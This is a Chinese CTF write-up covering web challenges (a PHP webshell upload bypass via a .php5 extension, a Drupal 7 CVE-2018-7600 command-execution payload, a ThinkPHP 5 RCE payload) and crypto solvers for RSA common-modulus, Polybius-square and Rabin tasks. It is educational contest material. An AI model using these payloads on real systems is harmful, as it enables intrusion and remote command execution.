CUMT-CTF第一次双月赛Writeup

前言

知其然,知其所以然

正文

WEB

ez-upload

题目描述是可以上传图片的,就随手上传一张图片上去
CUMT-CTF第一次双月赛Writeup_第1张图片

回显出目录结构如下:
CUMT-CTF第一次双月赛Writeup_第2张图片

访问URL发现可以看到上传的图片:
CUMT-CTF第一次双月赛Writeup_第3张图片
知道了上传目录,现在要做的就是上传成功一个Web Shell。

连接Cknife,写了个php小马,上传发现不可以上传以php结尾的文件。

第一次抓包尝试加00截断,未果。

第二次将后缀改成1.php.abc可以成功上传,但是设置Cknife需要连接的时候发现connection:close,应该是不能将上传的1.php.abc成功解析,未果。

第三次将后缀改成php5,可以上传成功,连接Cknife,成功进入,应该这次可以将haha.php5成功解析:
CUMT-CTF第一次双月赛Writeup_第4张图片
CUMT-CTF第一次双月赛Writeup_第5张图片

在upload文件夹中找了半天,全都是别人上传的文件,最后在根目录发现了flag:
CUMT-CTF第一次双月赛Writeup_第6张图片
CUMT-CTF第一次双月赛Writeup_第7张图片

CVE

hint不需要扣分,就窥视了一下,提示是drupal7的CVE漏洞。

Google一波,看看大佬写的博客,贴个链接:

https://www.menzel3.fun/2018/08/02/Drupal CVE2018-7600/#Drupal7-

https://www.jianshu.com/p/7c410db788ed

先创建账号,发现不可以发送email,Google到的结果告诉我更换新密码的页面是存在漏洞的,所以输入用户名的时候直接拿bp截断,构造post:

?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=system&name%5B%23markup%5D=ls%20/&name%5B%23type%5D=markup

form_id=user_pass&_triggering_element_name=name

这里原来的命令需要修改,将其改为ls%20/,目的是查看根目录,Go一下回显form_build_id:

CUMT-CTF第一次双月赛Writeup_第8张图片

保留这个form_build_id,用Hackbar post一下这个form_build_id,如下图:

CUMT-CTF第一次双月赛Writeup_第9张图片

抓包截断,go一下回显根目录,发现flag文件,

CUMT-CTF第一次双月赛Writeup_第10张图片

下一步就是尝试打开这个flag文件,所以重复上述操作,将之前的ls命令换成cat%20/flag即可。(需要注意的是这里的空格需要使用url编码%20,之前没有注意到这个点,导致回显不出数据)

CUMT-CTF第一次双月赛Writeup_第11张图片

CUMT-CTF第一次双月赛Writeup_第12张图片

tp5

是个新题正好是前段时间爆出来的新漏洞:ThinkPHP 5.0 & 5.1远程命令执行漏洞,前些日子看合天公众号推送了一篇类似的文章正好派上用场:click here

题目提示是tp5.0版本,文章直接有payload:

命令执行:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]

ls /列出根目录下的所有目录,发现flag文件;

Fxggu6.md.png

然后直接查看flag文件即可:

CUMT-CTF第一次双月赛Writeup_第13张图片

payload:

http://219.219.61.234:10005/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

Crypto

之前还没有认真学习过密码学的东西,好在期末好好复习了密码学,现在已经对密码学的知识有了个初步的认识,来温习一下上次的crypto

现代密码签到题

拿到这题,看到n,c1,c2,e1,e2基本已经锁定这一题就是RSA的共模攻击,但是所给的参数全部都是字母,按理说应该都是数字才对,所以最难的工作就是将这一堆的字母转化为可用的数字;

先统计一下字母的出现频率:

#coding:utf-8
n="ZZTOBOTBBISBBSOIIAbZAbZOAgObAEEgIBSBgBTIZAEgZTTZZbBEIOTEASTBBBAOEIZgETBSATESOZgZAZOZbTOIbSSIBIgOSZAEOTTgOOATSSBAbbAgOAAOOIOZAIAIABSZBEZBbABEIEOTOZbIbOSTZTAbgBATEbIIIAgSOBTgBBbgTObEATSOIgEISBEIITbEZTIOTOOTBTZZBOIbABOIZTbTTEgEbAggZgSEOAIbSgBbBbOZTESAZIbAZZSbSgEAASgOISIbIgZTbIEbOTgOZBEISAZBSTgTTBSgbIZSgbZBZESEbTgEZTTTEEOETZTOOAAOTZbZIgTZEISBbEZASggIBIgBESTZbZZAOASgOESAOBASAITBBObZZbZIbASIOIAObOSBbBIZZAIOEBBOgOITAAZOIATTSZAOBSSAIZgTBgTbOgOZEOOBgBOAbZTEgOgOOTBSZBIBATAOEOTTObggbATbATEbEOISIOZIIBgSbTETbTEgAIESAZITbgZbgbOAAgbgbgSEOBSObAEbSTEIAZSbSSTEABTSBESOTOETESbgAABABOEgBbAEBZEEgZIbZbbbTObTESbTABBBTISOBgZSEIIISABOI"
c1="ZZEZZOESZTSbbEZETOAIbAbBgETTOASIgEESOgEZATOIgIEABAEOEEEBOTbZIObOESAZbIZTSBgSbZbZBbgbAOBZZABbATOIZIIAgAZAABSSTIEbIOOTAZIZgEbTSSIbEEBBZZIgSZBOEIETgAggIIEbOABIAOgIBBAZATIZIgBAOZbESEbEEBBBbZSOAgZbBZTEgAEbAIOOIEAEbbSIIbITZOTZSBSSABABbbbgOOBATBBTZIEAgSSSbbZOIgBTgOBISOIIIEZZZggbIZEEOSSEEOOgEZSgbAETTTgBBgZTOEIbISZIBSZBOSgSbBIIZIgSbEBBEEIZBgbEEOISbZgBbZIbTAbBAESEgIgSATSSBIZTgZOgZSTObBAZBOBgIATbZIggOIIOSAgSSBIbSEAgTTbTSZbTEgSOOgSTSEATBZOEBTOTEABEgZBAZSObbSEbEbIABZTTABgZETOgbgSZOTAOEOAZBTASbSSSSOBgEEETZTBZEZTSObSbgOIOTTZSETAgTSAITbAEIIAZgOSZZIbZgIIgBgEZOgZbITTgZbASZSEgOIATBgIOBOISgZBTBZOESbABbIIIBgIZOASAbAgSgBEZSbbOSIEbI"
c2="IBTOZOIOOASIBTOISSSbSABbgIbAZEgAgBZBESbbgZbZIATZEOZIZTEIEOggEBbTSZZbASBSSSZIOAZSgTZAZgAIBAAgZTEAIOSESEBTgBSgEIOEbTIIBSAZbSbZEgOSObbBOSbbSTSIBOEZbgIObBBOTAbTbgOOEATBgOOTgIOggSgOZEgSIEgZSAAgTABBIAOTSgOAOITATISBSSTZBABATESSbAgOSbSASOObZbbATObAAgIZBAISBEATBTgbIgATZbbZSgTBgTBSgbZgZZZEBTOIIEAOTgTZOAIAZZBAIAObbIgEOTIAgSEOAbIZEAIOSZgBTASSbISgEOOZESEbBZEBOIAggZbgTTEESTIBbOBTASZTATSOOBAObAOAIgEbSOIISSAAZIIBEOETSOSbSEAbIZBbTEZTAOgBETOZTAOBZZbTIIABOASbIgAgTbbTIBASBbIZEbSTZBSbOAObIBTSbSEgOgSbTBZZEZBgIAObSEETTgTTEEAAAbAOESISIBTTSABTbAgBIggTBZbZEbEbITZbSTgTgBZBAEITgbEOBBBTZgAOTZEBAgbbSOgBTTZOAZBTOBZITIISZSTgBgOOTBbTEEIbgBEgT"
e1="IIIBTZBg"
e2="gbATZgI"
def count_each_char_1(string):
    res = {}
    for i in string:
        if i not in res:
            res[i] = 1
        else:
            res[i] += 1
    return res

print "n:"+str((count_each_char_1(n)))
print "c1:"+str((count_each_char_1(c1)))
print "c2:"+str((count_each_char_1(c2)))
print "e1:"+str((count_each_char_1(e1)))
print "e2:"+str((count_each_char_1(e2)))

Result

n:{'A': 65, 'B': 63, 'E': 56, 'g': 52, 'I': 60, 'O': 72, 'S': 56, 'b': 62, 'T': 69, 'Z': 62}
c1:{'A': 55, 'b': 62, 'E': 66, 'g': 60, 'I': 67, 'O': 58, 'S': 65, 'B': 59, 'T': 53, 'Z': 72}
c2:{'A': 67, 'B': 61, 'E': 51, 'g': 60, 'I': 57, 'O': 63, 'S': 66, 'b': 63, 'T': 70, 'Z': 59}
e1:{'I': 3, 'Z': 1, 'B': 2, 'T': 1, 'g': 1}
e2:{'A': 1, 'b': 1, 'g': 2, 'I': 1, 'T': 1, 'Z': 1}

发现总共就出现了10个字母A,B,E,g,I,O,S,b,T,Z,猜想这10个字母对应的是0-9的10个数字,如何将字母和数字进行对应是个头疼的问题;想了半天,没办法,只能暴力破解,产生字母的全排列对应10个数字…

暴力破解脚本(借鉴队友脚本学习了一下)

#coding:utf-8
import gmpy2
import base64
import itertools

def main():
	dic_alp1=['O','T','A','B','b','Z','I','E','S','g']
	dic_num=['0','1','2','3','4','5','6','7','8','9']
	dic_alp2=list(itertools.permutations(dic_alp1))
	for x in dic_alp2:
		n="ZZTOBOTBBISBBSOIIAbZAbZOAgObAEEgIBSBgBTIZAEgZTTZZbBEIOTEASTBBBAOEIZgETBSATESOZgZAZOZbTOIbSSIBIgOSZAEOTTgOOATSSBAbbAgOAAOOIOZAIAIABSZBEZBbABEIEOTOZbIbOSTZTAbgBATEbIIIAgSOBTgBBbgTObEATSOIgEISBEIITbEZTIOTOOTBTZZBOIbABOIZTbTTEgEbAggZgSEOAIbSgBbBbOZTESAZIbAZZSbSgEAASgOISIbIgZTbIEbOTgOZBEISAZBSTgTTBSgbIZSgbZBZESEbTgEZTTTEEOETZTOOAAOTZbZIgTZEISBbEZASggIBIgBESTZbZZAOASgOESAOBASAITBBObZZbZIbASIOIAObOSBbBIZZAIOEBBOgOITAAZOIATTSZAOBSSAIZgTBgTbOgOZEOOBgBOAbZTEgOgOOTBSZBIBATAOEOTTObggbATbATEbEOISIOZIIBgSbTETbTEgAIESAZITbgZbgbOAAgbgbgSEOBSObAEbSTEIAZSbSSTEABTSBESOTOETESbgAABABOEgBbAEBZEEgZIbZbbbTObTESbTABBBTISOBgZSEIIISABOI"
		c1="ZZEZZOESZTSbbEZETOAIbAbBgETTOASIgEESOgEZATOIgIEABAEOEEEBOTbZIObOESAZbIZTSBgSbZbZBbgbAOBZZABbATOIZIIAgAZAABSSTIEbIOOTAZIZgEbTSSIbEEBBZZIgSZBOEIETgAggIIEbOABIAOgIBBAZATIZIgBAOZbESEbEEBBBbZSOAgZbBZTEgAEbAIOOIEAEbbSIIbITZOTZSBSSABABbbbgOOBATBBTZIEAgSSSbbZOIgBTgOBISOIIIEZZZggbIZEEOSSEEOOgEZSgbAETTTgBBgZTOEIbISZIBSZBOSgSbBIIZIgSbEBBEEIZBgbEEOISbZgBbZIbTAbBAESEgIgSATSSBIZTgZOgZSTObBAZBOBgIATbZIggOIIOSAgSSBIbSEAgTTbTSZbTEgSOOgSTSEATBZOEBTOTEABEgZBAZSObbSEbEbIABZTTABgZETOgbgSZOTAOEOAZBTASbSSSSOBgEEETZTBZEZTSObSbgOIOTTZSETAgTSAITbAEIIAZgOSZZIbZgIIgBgEZOgZbITTgZbASZSEgOIATBgIOBOISgZBTBZOESbABbIIIBgIZOASAbAgSgBEZSbbOSIEbI"
		c2="IBTOZOIOOASIBTOISSSbSABbgIbAZEgAgBZBESbbgZbZIATZEOZIZTEIEOggEBbTSZZbASBSSSZIOAZSgTZAZgAIBAAgZTEAIOSESEBTgBSgEIOEbTIIBSAZbSbZEgOSObbBOSbbSTSIBOEZbgIObBBOTAbTbgOOEATBgOOTgIOggSgOZEgSIEgZSAAgTABBIAOTSgOAOITATISBSSTZBABATESSbAgOSbSASOObZbbATObAAgIZBAISBEATBTgbIgATZbbZSgTBgTBSgbZgZZZEBTOIIEAOTgTZOAIAZZBAIAObbIgEOTIAgSEOAbIZEAIOSZgBTASSbISgEOOZESEbBZEBOIAggZbgTTEESTIBbOBTASZTATSOOBAObAOAIgEbSOIISSAAZIIBEOETSOSbSEAbIZBbTEZTAOgBETOZTAOBZZbTIIABOASbIgAgTbbTIBASBbIZEbSTZBSbOAObIBTSbSEgOgSbTBZZEZBgIAObSEETTgTTEEAAAbAOESISIBTTSABTbAgBIggTBZbZEbEbITZbSTgTgBZBAEITgbEOBBBTZgAOTZEBAgbbSOgBTTZOAZBTOBZITIISZSTgBgOOTBbTEEIbgBEgT"
		e1="IIIBTZBg"
		e2="gbATZgI"
		for i in range(10):
			n=n.replace(x[i],dic_num[i])
			c1=c1.replace(x[i],dic_num[i])
			c2=c2.replace(x[i],dic_num[i])
			e1=e1.replace(x[i],dic_num[i])
			e2=e2.replace(x[i],dic_num[i])

		n=int(n,10)
		c1=int(c1,10)
		c2=int(c2,10)
		e1=int(e1,10)
		e2=int(e2,10)
		if gmpy2.gcd(e1,e2)!=1:
			continue
		else:
			mgcd,s,t=gmpy2.gcdext(e1,e2)
			if s<0:
				try:
					s=-s
					c1=gmpy2.invert(c1,n)
				except ZeroDivisionError:
					continue
			if t<0:
				try:
					t=-t
					c2=gmpy2.invert(c2,n)
				except ZeroDivisionError:
					continue
			plain=pow(c1,s,n)*pow(c2,t,n)%n
			try:
				ans = '{:x}'.format(plain).decode('hex')
				if 'flag' in ans:
					print ans
					print x
					break
			except TypeError:
				pass
			
if __name__ == '__main__':
	main()

先用出现字母的全排列对应表0-9这10个数,然后将所有参数用数字表示,用RSA的共模攻击求出最后的结果,发现flag:

CUMT-CTF第一次双月赛Writeup_第14张图片

最后发现是与数字形状相似的字母代替数字产生的参数…

**attention:**其实可以对脚本进行优化,因为e1e2都是和φ(n)互素的,所以e1e2都是奇数,所以可以缩小e1e2的范围,最后一个数字都是奇数,即:gI都是奇数;

古典密码签到题

这题直接告诉是棋盘密码,比较简单,给出的密文里总共有ksynb5个字母,所以直接构造这5个字母的全排列对应26字母表即可,总共有5!=120种不同的结果,可以直接暴破;

暴力破解脚本:

#coding:utf-8
import itertools

key=[]
cipher="ksyssskkysynbssbbnynnb"
dic_cip=list(itertools.permutations("ksynb"))
for x in dic_cip:
    key.append(''.join(x))

for child_key in key:
    num_c=""
    ans=""
    for now_c in cipher:
        num_c+=str(child_key.index(now_c))
    for i in range(0,len(num_c),2):
        now_ascii=int(num_c[i])*5+int(num_c[i+1])+97
        if now_ascii>ord("i"):
            now_ascii+=1
        else:
            pass
        ans+=chr(now_ascii)
    if 'flag' in ans:
        print child_key,ans

发现有两种结果里面有flag字符,显然是第一个,排列方式为skynb

CUMT-CTF第一次双月赛Writeup_第15张图片

First level

题目给出e=2,基本已经锁定是RSA的衍生算法rabin,yafu分解n得到p和q如下:

PRP617 = 28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498108275295255082627807077949841602061428289272700263987438087045434043977981316071156426134695316796020506076336851840708593720052204359360366058549157961154869248835793804817253083037277453771408544063058190126149127240681909811943783388977967
PRP617 = 28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498101607280822202773532998098050880803631144514377948079277690787622279940743498439084904702494445241729763146426258407468147831250550239995285695193105630324823153678214290802694619958991541957383815098042054239547145549933872335482492225099839

ans = 1

eof; done processing batchfile

攻击脚本:

#coding:utf-8
import gmpy2
c=499900287907163903863770127517451824950591449854220282014018552802396943304674724533357663876916175459043411887269615620980351359674373127551283923032759205525834407466303318140213222438375548066871397251493100247836770129792554768759516349058673615081761638343932256849889604058608747531941928982832585706361391950223948529046950139043176720742038526998231448270490097134641169635210567151369533018545746204046992368621334939029582400285322777365958482219075297507215203709356125635202625121091161318566582307478931230962853531285514124459092351456397307588024613094226807792165876133269038363995037219677926220967578191033480631890589761476293394613074763877465067481353073032261829035532832262390121385388328585967620567497069930361644409182632934629875953161754678971744082331335000439916510067572742641854184303838362027247026467270857712018679364014951870327424723286991989268813839644982317838329022551033151317911958707603833070206941532496854730739054206016872958750645705043270396511543390465607172543992216405734971188437702405334334961918445724163241075322921116618280425131683507843396376626705861243420399065472311770119489811395486846742327683616439776584876654620796349661745998246254486950516901889112077176621805823
p=28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498108275295255082627807077949841602061428289272700263987438087045434043977981316071156426134695316796020506076336851840708593720052204359360366058549157961154869248835793804817253083037277453771408544063058190126149127240681909811943783388977967
q=28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498101607280822202773532998098050880803631144514377948079277690787622279940743498439084904702494445241729763146426258407468147831250550239995285695193105630324823153678214290802694619958991541957383815098042054239547145549933872335482492225099839

def rabin_decrypt(c, p, q, e=2):
    n = p * q
    mp = pow(c, (p + 1) / 4, p)
    mq = pow(c, (q + 1) / 4, q)
    yp = gmpy2.invert(p, q)
    yq = gmpy2.invert(q, p)
    r = (yp * p * mq + yq * q * mp) % n
    rr = n - r
    s = (yp * p * mq - yq * q * mp) % n
    ss = n - s
    return (r, rr, s, ss)

def main():
    ans=rabin_decrypt(c,p,q,e=2)
    for x in ans:
        temp='{:x}'.format(x).decode('hex')
        if 'flag' in temp:
            print temp

if __name__ == '__main__':
    main()

攻击得到4个结果,经过筛选得到一段含有flag的有意义的明文:

kSbyYn.png

你可能感兴趣的:(Writeup)